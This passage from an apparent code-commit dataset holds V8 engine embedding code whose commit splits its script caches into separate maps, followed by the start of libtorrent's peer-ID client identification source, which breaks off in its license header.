{\n\t\t\tstd::string _err(\"Error opening file \");\n\t\t\t_err += fname;\n\t\t\t_err += \": \";\n\t\t\t_err += strerror(errno);\n\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tv8::Local<v8::Script> script;\n\tif (ScriptCached.find(key) == ScriptCached.end() || (cfg->watch_templates && ScriptModified[key] != stat_buf.st_mtime)) {\n\/*\n\t\tif (ScriptCached.find(key) == ScriptCached.end()) {\n\t\t\tfprintf(stderr, \"New file: %s\\n\", fname.c_str());\n\t\t}\n\t\telse {\n\t\t\tfprintf(stderr, \"File modified: %s\\n\", fname.c_str());\n\t\t}\n*\/\n\t\t\/\/ Read new file\n\t\tstd::string file = ReadFile(fname);\n\t\tif (file.size() == 0) {\n\t\t\tstd::string _err(\"File not exists or empty: \");\n\t\t\t_err += fname;\n\n\t\t\tGlobalError.push_back(_err);\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::string file_append = file + append;\n\t\tv8::Handle<v8::String> source = v8::String::NewFromUtf8(isolate, file_append.c_str());\n\t\tv8::Handle<v8::String> ffn = v8::String::NewFromUtf8(isolate, fname.c_str());\n\n\t\t\/\/ Origin\n\t\tv8::Handle<v8::Integer> line = v8::Integer::New(isolate, 0);\n\t\tv8::Handle<v8::Integer> column = v8::Integer::New(isolate, 0);\n\t\tv8::ScriptOrigin origin(ffn, line, column);\n\n\t\tstruct timeval t1; StartProfile(&t1);\n\t\t\tscript = v8::Script::Compile(source, &origin);\n\t\tcfg->compile_time += StopProfile(&t1);\n\n\t\tif (script.IsEmpty()) {\n\t\t\tReportException(&try_catch);\n\t\t\treturn false;\n\t\t}\n\n\t\tPERSISTENT_COPYABLE pscript;\n\n\t\tScriptCached.insert( std::pair<std::string, PERSISTENT_COPYABLE>(key, pscript) );\n\t\tScriptCached[key].Reset(isolate, script);\n\t\tScriptModified[key] = stat_buf.st_mtime;\n\t}\n\telse {\n\t\tscript = v8::Local<v8::Script>::New(isolate, ScriptCached[key]);\n\t}\n\n\tv8::Handle<v8::Value> result;\n\tstruct timeval t1; StartProfile(&t1);\n\t\tresult = script->Run();\n\tcfg->exec_time += StopProfile(&t1);\n\n\tif (result.IsEmpty()) {\n\t\tassert(try_catch.HasCaught());\n\t\tReportException(&try_catch);\n\t\treturn false;\n\t}\n\n\t\/\/ No errors\n\tassert(!try_catch.HasCaught());\n\tif (!result->IsUndefined() && out != NULL) {\n\t\tv8::String::Utf8Value utf8(result);\n\t\tout->assign(*utf8, utf8.length());\n\t}\n\n\t\/\/ Try to call GC in a very simple way\n\tif (cfg->run_low_memory_notification > 0 && cfg->request_num % cfg->run_low_memory_notification == 0) {\n\t\tstruct timeval t1;\n\t\tStartProfile(&t1);\n\t\t\tv8::V8::LowMemoryNotification();\n\t\tcfg->run_low_memory_notification_time = StopProfile(&t1);\n\t}\n\n\t\/\/ Another gc calling mechanism\n\tif (cfg->run_idle_notification_loop > 0 && cfg->request_num % cfg->run_idle_notification_loop == 0) {\n\t\tstruct timeval t1;\n\t\tStartProfile(&t1);\n\t\t\twhile(!v8::V8::IdleNotification()) {}\n\t\tcfg->run_idle_notification_loop_time = StopProfile(&t1);\n\t}\n\n\treturn true;\n}\n\nvoid GetHeapStat(HeapSt * st) {\n\tv8::HeapStatistics hs;\n\tif (isolate == NULL) {return;}\n\n\tisolate->GetHeapStatistics(&hs);\n\n\tst->total_heap_size = hs.total_heap_size();\n\tst->total_heap_size_executable = hs.total_heap_size_executable();\n\tst->total_physical_size = hs.total_physical_size();\n\tst->used_heap_size = hs.used_heap_size();\n\tst->heap_size_limit = hs.heap_size_limit();\n}\n\nbool IdleNotification(int ms) {\n\tif (isolate == NULL) {return false;}\n\treturn v8::V8::IdleNotification(ms);\n}\n\nvoid LowMemoryNotification() {\n\tif (isolate == NULL) {return;}\n\tv8::V8::LowMemoryNotification();\n}\n\n<commit_msg>Split maps<commit_after>#include \"v8monoctx.h\"\n\nstatic v8::Isolate* isolate;\nstatic v8::Persistent<v8::Context> context;\n\n\/* maps for caching templates (ExecuteFile) *\/\nstatic std::map<std::string, time_t> ExecuteScriptModified;\nstatic std::map<std::string, PERSISTENT_COPYABLE> ExecuteScriptCached;\n\n\/* maps for caching utilites (LoadFile) *\/\nstatic std::map<std::string, time_t> LoadScriptModified;\nstatic std::map<std::string, PERSISTENT_COPYABLE> LoadScriptCached;\n\nstatic std::string GlobalData;\nstatic std::vector<std::string> GlobalError;\n\n\/\/ Profiler functions\nvoid StartProfile(struct timeval *t1) {\n   \tgettimeofday(t1, NULL);\n}\n\ndouble StopProfile(struct timeval *t1) {\n\tstruct timeval t2;\n  \tgettimeofday(&t2, NULL);\n  \treturn (((t2.tv_sec - t1->tv_sec) * 1000000) + (t2.tv_usec - t1->tv_usec)) \/ 1000000.0;\n}\n\n\/\/ Just convert to string\nconst char* ToCString(const v8::String::Utf8Value& value) {\n\treturn *value ? *value : \"<string conversion failed>\";\n}\n\n\/\/ Reads a file into a string.\nstd::string ReadFile(std::string name) {\n\tFILE* file = fopen(name.c_str(), \"rb\");\n\tif (file == NULL) return std::string();\n\n\tfseek(file, 0, SEEK_END);\n\tint size = ftell(file);\n\trewind(file);\n\n\tchar* chars = new char[size + 1];\n\tchars[size] = '\\0';\n\tfor (int i = 0; i < size;) {\n\t\tint read = static_cast<int>(fread(&chars[i], 1, size - i, file));\n\t\ti += read;\n\t}\n\tfclose(file);\n\n\tstd::string result(chars);\n\tdelete[] chars;\n\treturn result;\n}\n\nvoid ReportException(v8::TryCatch* try_catch) {\n\tv8::HandleScope handle_scope(isolate);\n\tv8::String::Utf8Value exception(try_catch->Exception());\n\n\tstd::string exception_string( ToCString(exception) );\n\tv8::Handle<v8::Message> message = try_catch->Message();\n\n\tif (message.IsEmpty()) {\n\t\t\/\/ V8 didn't provide any extra information about this error; just\n\t\t\/\/ print the exception.\n\n\t\tGlobalError.push_back(exception_string);\n\t} else {\n\t\t\/\/ Print (filename):(line number): (message)\\n(sourceline)\n\t\tv8::String::Utf8Value filename(message->GetScriptResourceName());\n\t\tv8::String::Utf8Value sourceline(message->GetSourceLine());\n\n\t\tstd::string _err( ToCString(filename) );\n\t\tstd::string _source( ToCString(sourceline) );\n\n\t\tstd::ostringstream linenum;\n\t\tlinenum << message->GetLineNumber();\n\n\t\t_err += \":\";\n\t\t_err += linenum.str();\n\t\t_err += \": \";\n\t\t_err += exception_string;\n\t\t_err += \"\\n\";\n\t\t_err += _source;\n\n\t\tGlobalError.push_back(_err);\n\n\/*\n\t\t\/\/ Print wavy underline (GetUnderline is deprecated).\n\t\tint start = message->GetStartColumn();\n\t\tfor (int i = 0; i < start; i++) {\n\t\t\tfprintf(stderr, \" \");\n\t\t}\n\t\tint end = message->GetEndColumn();\n\t\tfor (int i = start; i < end; i++) {\n\t\t\tfprintf(stderr, \"^\");\n\t\t}\n\t\tfprintf(stderr, \"\\n\");\n\t\tv8::String::Utf8Value stack_trace(try_catch->StackTrace());\n\t\tif (stack_trace.length() > 0) {\n\t\t\tconst char* stack_trace_string = ToCString(stack_trace);\n\t\t\tfprintf(stderr, \"%s\\n\", stack_trace_string);\n\t\t}\n*\/\n\t}\n}\n\n\/\/ Global function\nvoid DataFetch(const v8::FunctionCallbackInfo<v8::Value>& args) {\n\t\/\/ We will be creating temporary handles so we use a handle scope.\n\tv8::HandleScope handle_scope(args.GetIsolate());\n\n\targs.GetReturnValue().Set(\n\t\tv8::String::NewFromUtf8(args.GetIsolate(), GlobalData.c_str())\n\t);\n}\n\n\/\/ Global function\nvoid ConsoleError(const v8::FunctionCallbackInfo<v8::Value>& args) {\n\tfor (int i = 0; i < args.Length(); i++) {\n\t\tv8::HandleScope handle_scope(args.GetIsolate());\n\t\tv8::String::Utf8Value str(args[i]);\n\n\t\tstd::string _err( ToCString(str) );\n\t\tGlobalError.push_back(_err);\n\t}\n}\n\nstd::vector<std::string> GetErrors (void) {\n\treturn GlobalError;\n}\n\nbool LoadFile(monocfg * cfg, std::string fname) {\n\tGlobalError.clear();\n\n\tcfg->run_idle_notification_loop_time = 0;\n\tcfg->run_low_memory_notification_time = 0;\n\tcfg->exec_time = 0;\n\tcfg->compile_time = 0;\n\n\tif (isolate == NULL) {\n\t\t\/\/ Get the default Isolate created at startup\n\t\tisolate = v8::Isolate::GetCurrent();\n\n\t\t\/\/ Create a stack-allocated handle scope\n\t\tv8::HandleScope handle_scope(isolate);\n\n\t\tif (strlen(cfg->cmd_args) > 0) {\n\t\t\tv8::V8::SetFlagsFromString(cfg->cmd_args, strlen(cfg->cmd_args));\n\t\t}\n\n\t\t\/\/ Global objects\n\t\tv8::Handle<v8::ObjectTemplate> global = v8::ObjectTemplate::New(isolate);\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__dataFetch\"), v8::FunctionTemplate::New(isolate, DataFetch));\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__errorLog\"), v8::FunctionTemplate::New(isolate, ConsoleError));\n\n\t\t\/\/ Create a new context\n\t\tv8::Handle<v8::Context> ctx = v8::Context::New(isolate, NULL, global);\n\t\tcontext.Reset(isolate, ctx);\n\n\t\tif (context.IsEmpty()) {\n\t\t\tstd::string _err(\"Error creating context\");\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t\tctx->Enter();\n\t}\n\n\tv8::HandleScope handle_scope(isolate);\n\tv8::TryCatch try_catch;\n\n\tstd::string key = fname;\n\n\t\/\/ Get file stat\n\tstruct stat stat_buf;\n\tif (cfg->watch_templates) {\n\t\tint rc = stat(fname.c_str(), &stat_buf);\n\t\tif (rc != 0) {\n\t\t\tstd::string _err(\"Error opening file \");\n\t\t\t_err += fname;\n\t\t\t_err += \": \";\n\t\t\t_err += strerror(errno);\n\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tv8::Local<v8::Script> script;\n\tif (LoadScriptCached.find(key) == LoadScriptCached.end() || (cfg->watch_templates && LoadScriptModified[key] != stat_buf.st_mtime)) {\n\/*\n\t\tif (LoadScriptCached.find(key) == LoadScriptCached.end()) {\n\t\t\tfprintf(stderr, \"New file: %s\\n\", fname.c_str());\n\t\t}\n\t\telse {\n\t\t\tfprintf(stderr, \"File modified: %s\\n\", fname.c_str());\n\t\t}\n*\/\n\t\t\/\/ Read new file\n\t\tstd::string file = ReadFile(fname);\n\t\tif (file.size() == 0) {\n\t\t\tstd::string _err(\"File not exists or empty: \");\n\t\t\t_err += fname;\n\n\t\t\tGlobalError.push_back(_err);\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::string file_append = file;\n\t\tv8::Handle<v8::String> source = v8::String::NewFromUtf8(isolate, file_append.c_str());\n\t\tv8::Handle<v8::String> ffn = v8::String::NewFromUtf8(isolate, fname.c_str());\n\n\t\t\/\/ Origin\n\t\tv8::Handle<v8::Integer> line = v8::Integer::New(isolate, 0);\n\t\tv8::Handle<v8::Integer> column = v8::Integer::New(isolate, 0);\n\t\tv8::ScriptOrigin origin(ffn, line, column);\n\n\t\tstruct timeval t1; StartProfile(&t1);\n\t\t\tscript = v8::Script::Compile(source, &origin);\n\t\tcfg->compile_time += StopProfile(&t1);\n\n\t\tif (script.IsEmpty()) {\n\t\t\tReportException(&try_catch);\n\t\t\treturn false;\n\t\t}\n\n\t\tPERSISTENT_COPYABLE pscript;\n\n\t\tLoadScriptCached.insert( std::pair<std::string, PERSISTENT_COPYABLE>(key, pscript) );\n\t\tLoadScriptCached[key].Reset(isolate, script);\n\t\tLoadScriptModified[key] = stat_buf.st_mtime;\n\t}\n\telse {\n\t\tscript = v8::Local<v8::Script>::New(isolate, LoadScriptCached[key]);\n\t}\n\n\tv8::Handle<v8::Value> result;\n\tstruct timeval t1; StartProfile(&t1);\n\t\tresult = script->Run();\n\tcfg->exec_time += StopProfile(&t1);\n\n\tif (result.IsEmpty()) {\n\t\tassert(try_catch.HasCaught());\n\t\tReportException(&try_catch);\n\t\treturn false;\n\t}\n\n\t\/\/ No errors\n\tassert(!try_catch.HasCaught());\n\treturn true;\n}\n\nbool ExecuteFile(monocfg * cfg, std::string fname, std::string append, std::string* json, std::string* out) {\n\tGlobalError.clear();\n\n\t++cfg->request_num;\n\n\tcfg->run_idle_notification_loop_time = 0;\n\tcfg->run_low_memory_notification_time = 0;\n\tcfg->exec_time = 0;\n\tcfg->compile_time = 0;\n\n\tif (isolate == NULL) {\n\t\t\/\/ Get the default Isolate created at startup\n\t\tisolate = v8::Isolate::GetCurrent();\n\n\t\t\/\/ Create a stack-allocated handle scope\n\t\tv8::HandleScope handle_scope(isolate);\n\n\t\tif (strlen(cfg->cmd_args) > 0) {\n\t\t\tv8::V8::SetFlagsFromString(cfg->cmd_args, strlen(cfg->cmd_args));\n\t\t}\n\n\t\t\/\/ Global objects\n\t\tv8::Handle<v8::ObjectTemplate> global = v8::ObjectTemplate::New(isolate);\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__dataFetch\"), v8::FunctionTemplate::New(isolate, DataFetch));\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__errorLog\"), v8::FunctionTemplate::New(isolate, ConsoleError));\n\n\t\t\/\/ Create a new context\n\t\tv8::Handle<v8::Context> ctx = v8::Context::New(isolate, NULL, global);\n\t\tcontext.Reset(isolate, ctx);\n\n\t\tif (context.IsEmpty()) {\n\t\t\tstd::string _err(\"Error creating context\");\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t\tctx->Enter();\n\t}\n\n\tv8::HandleScope handle_scope(isolate);\n\tv8::TryCatch try_catch;\n\n\tif (json != NULL) {\n\t\tGlobalData.assign(*json);\n\t}\n\n\tstd::string key = fname + ' ' + append;\n\n\t\/\/ Get file stat\n\tstruct stat stat_buf;\n\tif (cfg->watch_templates) {\n\t\tint rc = stat(fname.c_str(), &stat_buf);\n\t\tif (rc != 0) {\n\t\t\tstd::string _err(\"Error opening file \");\n\t\t\t_err += fname;\n\t\t\t_err += \": \";\n\t\t\t_err += strerror(errno);\n\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tv8::Local<v8::Script> script;\n\tif (ExecuteScriptCached.find(key) == ExecuteScriptCached.end() || (cfg->watch_templates && ExecuteScriptModified[key] != stat_buf.st_mtime)) {\n\/*\n\t\tif (ExecuteScriptCached.find(key) == ExecuteScriptCached.end()) {\n\t\t\tfprintf(stderr, \"New file: %s\\n\", fname.c_str());\n\t\t}\n\t\telse {\n\t\t\tfprintf(stderr, \"File modified: %s\\n\", fname.c_str());\n\t\t}\n*\/\n\t\t\/\/ Read new file\n\t\tstd::string file = ReadFile(fname);\n\t\tif (file.size() == 0) {\n\t\t\tstd::string _err(\"File not exists or empty: \");\n\t\t\t_err += fname;\n\n\t\t\tGlobalError.push_back(_err);\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::string file_append = file + append;\n\t\tv8::Handle<v8::String> source = v8::String::NewFromUtf8(isolate, file_append.c_str());\n\t\tv8::Handle<v8::String> ffn = v8::String::NewFromUtf8(isolate, fname.c_str());\n\n\t\t\/\/ Origin\n\t\tv8::Handle<v8::Integer> line = v8::Integer::New(isolate, 0);\n\t\tv8::Handle<v8::Integer> column = v8::Integer::New(isolate, 0);\n\t\tv8::ScriptOrigin origin(ffn, line, column);\n\n\t\tstruct timeval t1; StartProfile(&t1);\n\t\t\tscript = v8::Script::Compile(source, &origin);\n\t\tcfg->compile_time += StopProfile(&t1);\n\n\t\tif (script.IsEmpty()) {\n\t\t\tReportException(&try_catch);\n\t\t\treturn false;\n\t\t}\n\n\t\tPERSISTENT_COPYABLE pscript;\n\n\t\tExecuteScriptCached.insert( std::pair<std::string, PERSISTENT_COPYABLE>(key, pscript) );\n\t\tExecuteScriptCached[key].Reset(isolate, script);\n\t\tExecuteScriptModified[key] = stat_buf.st_mtime;\n\t}\n\telse {\n\t\tscript = v8::Local<v8::Script>::New(isolate, ExecuteScriptCached[key]);\n\t}\n\n\tv8::Handle<v8::Value> result;\n\tstruct timeval t1; StartProfile(&t1);\n\t\tresult = script->Run();\n\tcfg->exec_time += StopProfile(&t1);\n\n\tif (result.IsEmpty()) {\n\t\tassert(try_catch.HasCaught());\n\t\tReportException(&try_catch);\n\t\treturn false;\n\t}\n\n\t\/\/ No errors\n\tassert(!try_catch.HasCaught());\n\tif (!result->IsUndefined() && out != NULL) {\n\t\tv8::String::Utf8Value utf8(result);\n\t\tout->assign(*utf8, utf8.length());\n\t}\n\n\t\/\/ Try to call GC in a very simple way\n\tif (cfg->run_low_memory_notification > 0 && cfg->request_num % cfg->run_low_memory_notification == 0) {\n\t\tstruct timeval t1;\n\t\tStartProfile(&t1);\n\t\t\tv8::V8::LowMemoryNotification();\n\t\tcfg->run_low_memory_notification_time = StopProfile(&t1);\n\t}\n\n\t\/\/ Another gc calling mechanism\n\tif (cfg->run_idle_notification_loop > 0 && cfg->request_num % cfg->run_idle_notification_loop == 0) {\n\t\tstruct timeval t1;\n\t\tStartProfile(&t1);\n\t\t\twhile(!v8::V8::IdleNotification()) {}\n\t\tcfg->run_idle_notification_loop_time = StopProfile(&t1);\n\t}\n\n\treturn true;\n}\n\nvoid GetHeapStat(HeapSt * st) {\n\tv8::HeapStatistics hs;\n\tif (isolate == NULL) {return;}\n\n\tisolate->GetHeapStatistics(&hs);\n\n\tst->total_heap_size = hs.total_heap_size();\n\tst->total_heap_size_executable = hs.total_heap_size_executable();\n\tst->total_physical_size = hs.total_physical_size();\n\tst->used_heap_size = hs.used_heap_size();\n\tst->heap_size_limit = hs.heap_size_limit();\n}\n\nbool IdleNotification(int ms) {\n\tif (isolate == NULL) {return false;}\n\treturn v8::V8::IdleNotification(ms);\n}\n\nvoid LowMemoryNotification() {\n\tif (isolate == NULL) {return;}\n\tv8::V8::LowMemoryNotification();\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#include <cctype>\n\n#ifdef _MSC_VER\n#pragma warning(push, 1)\n#endif\n\n#include <boost\/optional.hpp>\n\n#ifdef _MSC_VER\n#pragma warning(pop)\n#endif\n\n#include \"libtorrent\/identify_client.hpp\"\n#include \"libtorrent\/fingerprint.hpp\"\n\n#if defined(_MSC_VER) && _MSC_VER < 1300\nnamespace std\n{\n\tusing ::isprint;\n\tusing ::isdigit;\n\tusing ::toupper;\n\tusing ::isalnum;\n}\n#endif\n\nnamespace\n{\n\n\tusing namespace libtorrent;\n\n\tint decode_digit(char c)\n\t{\n\t\tif (std::isdigit(c)) return c - '0';\n\t\treturn std::toupper(c) - 'A' + 10;\n\t}\n\n\t\/\/ takes a peer id and returns a valid boost::optional\n\t\/\/ object if the peer id matched the azureus style encoding\n\t\/\/ the returned fingerprint contains information about the\n\t\/\/ client's id\n\tboost::optional<fingerprint> parse_az_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (id[0] != '-' || !std::isprint(id[1]) || !std::isprint(id[2])\n\t\t\t|| !std::isalnum(id[3]) || !std::isalnum(id[4])\n\t\t\t|| !std::isalnum(id[5]) || !std::isalnum(id[6])\n\t\t\t|| id[7] != '-')\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tret.id[0] = id[1];\n\t\tret.id[1] = id[2];\n\t\tret.major_version = decode_digit(id[3]);\n\t\tret.minor_version = decode_digit(id[4]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = decode_digit(id[6]);\n\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a shadow-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_shadow_style(const peer_id& id)\n\t{\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tif (!std::isalnum(id[0]))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tif (std::equal(id.begin()+4, id.begin()+8, \"----\"))\n\t\t{\n\t\t\tif (!std::isalnum(id[1]) || !std::isalnum(id[2])\n\t\t\t\t|| !std::isalnum(id[3]))\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = decode_digit(id[1]);\n\t\t\tret.minor_version = decode_digit(id[2]);\n\t\t\tret.revision_version = decode_digit(id[3]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (id[8] != 0 || id[1] > 127 || id[2] > 127 || id[3] > 127)\n\t\t\t\treturn boost::optional<fingerprint>();\n\t\t\tret.major_version = id[1];\n\t\t\tret.minor_version = id[2];\n\t\t\tret.revision_version = id[3];\n\t\t}\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\t\/\/ checks if a peer id can possibly contain a mainline-style\n\t\/\/ identification\n\tboost::optional<fingerprint> parse_mainline_style(const peer_id& id)\n\t{\n\t\tif (!std::isprint(id[0])\n\t\t\t|| !std::isalnum(id[1])\n\t\t\t|| id[2] != '-'\n\t\t\t|| !std::isalnum(id[3])\n\t\t\t|| id[4] != '-'\n\t\t\t|| !std::isalnum(id[5])\n\t\t\t|| !std::equal(id.begin() + 6, id.begin() + 8, \"--\"))\n\t\t\treturn boost::optional<fingerprint>();\n\n\t\tfingerprint ret(\"..\", 0, 0, 0, 0);\n\n\t\tret.id[0] = id[0];\n\t\tret.id[1] = 0;\n\t\tret.major_version = decode_digit(id[1]);\n\t\tret.minor_version = decode_digit(id[3]);\n\t\tret.revision_version = decode_digit(id[5]);\n\t\tret.tag_version = 0;\n\t\treturn boost::optional<fingerprint>(ret);\n\t}\n\n\ttypedef std::pair<char const*, char const*> map_entry;\n\n\t\/\/ only support BitTorrentSpecification\n\t\/\/ must be ordered alphabetically\n\tmap_entry name_map[] =\n\t{\n\t\tmap_entry(\"A\",  \"ABC\")\n\t\t, map_entry(\"AR\", \"Arctic Torrent\")\n\t\t, map_entry(\"AZ\", \"Azureus\")\n\t\t, map_entry(\"BB\", \"BitBuddy\")\n\t\t, map_entry(\"BS\", \"BTSlave\")\n\t\t, map_entry(\"BX\", \"BittorrentX\")\n\t\t, map_entry(\"CT\", \"CTorrent\")\n\t\t, map_entry(\"LT\", \"libtorrent\")\n\t\t, map_entry(\"M\",  \"Mainline\")\n\t\t, map_entry(\"MT\", \"Moonlight Torrent\")\n\t\t, map_entry(\"S\",  \"Shadow\")\n\t\t, map_entry(\"SN\", \"ShareNet\")\n\t\t, map_entry(\"SS\", \"SwarmScope\")\n\t\t, map_entry(\"T\",  \"BitTornado\")\n\t\t, map_entry(\"TN\", \"Torrent.NET\")\n\t\t, map_entry(\"TS\", \"TorrentStorm\")\n\t\t, map_entry(\"U\",  \"UPnP\")\n\t\t, map_entry(\"XT\", \"XanTorrent\")\n\t\t, map_entry(\"ZT\", \"ZipTorrent\")\n\t};\n\n\tbool compare_first_string(map_entry const& e, char const* str)\n\t{\n\t\treturn e.first[0] < str[0]\n\t\t\t|| ((e.first[0] == str[0]) && (e.first[1] < str[1]));\n\t}\n\n\tstd::string lookup(fingerprint const& f)\n\t{\n\t\tstd::stringstream identity;\n\n\t\tconst int size = sizeof(name_map)\/sizeof(name_map[0]);\n\t\tmap_entry* i =\n\t\t\tstd::lower_bound(name_map, name_map + size\n\t\t\t\t, f.id, &compare_first_string);\n\n\t\tif (i < name_map + size && std::equal(f.id, f.id + 2, i->first))\n\t\t\tidentity << i->second;\n\t\telse\n\t\t\tidentity << std::string(f.id, f.id + 2);\n\n\t\tidentity << \" \" << (int)f.major_version\n\t\t\t<< \".\" << (int)f.minor_version\n\t\t\t<< \".\" << (int)f.revision_version\n\t\t\t<< \".\" << (int)f.tag_version;\n\n\t\treturn identity.str();\n\t}\n\n\tbool find_string(unsigned char const* id, char const* search)\n\t{\n\t\treturn std::equal(search, search + std::strlen(search), id);\n\t}\n}\n\nnamespace libtorrent\n{\n\n\tstd::string identify_client(const peer_id& p)\n\t{\n\t\tpeer_id::const_iterator PID = p.begin();\n\t\tboost::optional<fingerprint> f;\n\n\t\tif (p.is_all_zeros()) return \"Unknown\";\n\n\t\t\/\/ ----------------------\n\t\t\/\/ non standard encodings\n\t\t\/\/ ----------------------\n\n\t\tif (find_string(PID, \"Deadman Walking-\")) return \"Deadman\";\n\t\tif (find_string(PID + 5, \"Azureus\")) return \"Azureus 2.0.3.2\";\n\t\tif (find_string(PID, \"DansClient\")) return \"XanTorrent\";\n\t\tif (find_string(PID + 4, \"btfans\")) return \"SimpleBT\";\n\t\tif (find_string(PID, \"PRC.P---\")) return \"Bittorrent Plus! II\";\n\t\tif (find_string(PID, \"P87.P---\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"S587Plus\")) return \"Bittorrent Plus!\";\n\t\tif (find_string(PID, \"martini\")) return \"Martini Man\";\n\t\tif (find_string(PID, \"Plus---\")) return \"Bittorrent Plus\";\n\t\tif (find_string(PID, \"turbobt\")) return \"TurboBT\";\n\t\tif (find_string(PID, \"a00---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"a02---0\")) return \"Swarmy\";\n\t\tif (find_string(PID, \"T00---0\")) return \"Teeweety\";\n\t\tif (find_string(PID, \"BTDWV-\")) return \"Deadman Walking\";\n\t\tif (find_string(PID + 2, \"BS\")) return \"BitSpirit\";\n\t\tif (find_string(PID, \"btuga\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"oernu\")) return \"BTugaXP\";\n\t\tif (find_string(PID, \"Mbrst\")) return \"Burst!\";\n\t\tif (find_string(PID, \"Plus\")) return \"Plus!\";\n\t\tif (find_string(PID, \"exbc\")) return \"BitComet\";\n\t\tif (find_string(PID, \"-G3\")) return \"G3 Torrent\";\n\t\tif (find_string(PID, \"XBT\")) return \"XBT\";\n\n\t\tif (find_string(PID, \"-BOW\") && PID[7] == '-')\n\t\t\treturn \"Bits on Wheels \" + std::string(PID + 4, PID + 7);\n\t\t\n\t\tif (find_string(PID, \"eX\"))\n\t\t{\n\t\t\tstd::string user(PID + 2, PID + 14);\n\t\t\treturn std::string(\"eXeem ('\") + user.c_str() + \"')\"; \n\t\t}\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\x97\"))\n\t\t\treturn \"Experimental 3.2.1b2\";\n\n\t\tif (std::equal(PID, PID + 13, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Experimental 3.1\";\n\n      if (p.is_all_zeros()) return \"Unknown\";\n\n\t\t\n\t\t\/\/ look for azureus style id\n\t\tf = parse_az_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for shadow style id\n\t\tf = parse_shadow_style(p);\n\t\tif (f) return lookup(*f);\n\n\t\t\/\/ look for mainline style id\n\t\tf = parse_mainline_style(p);\n\t\tif (f) return lookup(*f);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\n\t\tif (std::equal(PID, PID + 12, \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"))\n\t\t\treturn \"Generic\";\n\n\t\tstd::string unknown(\"Unknown [\");\n\t\tfor (peer_id::const_iterator i = p.begin(); i != p.end(); ++i)\n\t\t{\n\t\t\tunknown += std::isprint(*i)?*i:'.';\n\t\t}\n\t\tunknown += \"]\";\n\t\treturn unknown;\n\t}\n\n}\n<commit_msg>added MooPolice client identification<commit_after>\/*\n\nCopyright (c) 2003, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in\n      the documentation and\/or other materials provided with the distribution.\n    * Neither the name of the author nor the names of its\n      contributors may be used to endorse or promote products derived\n      from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, 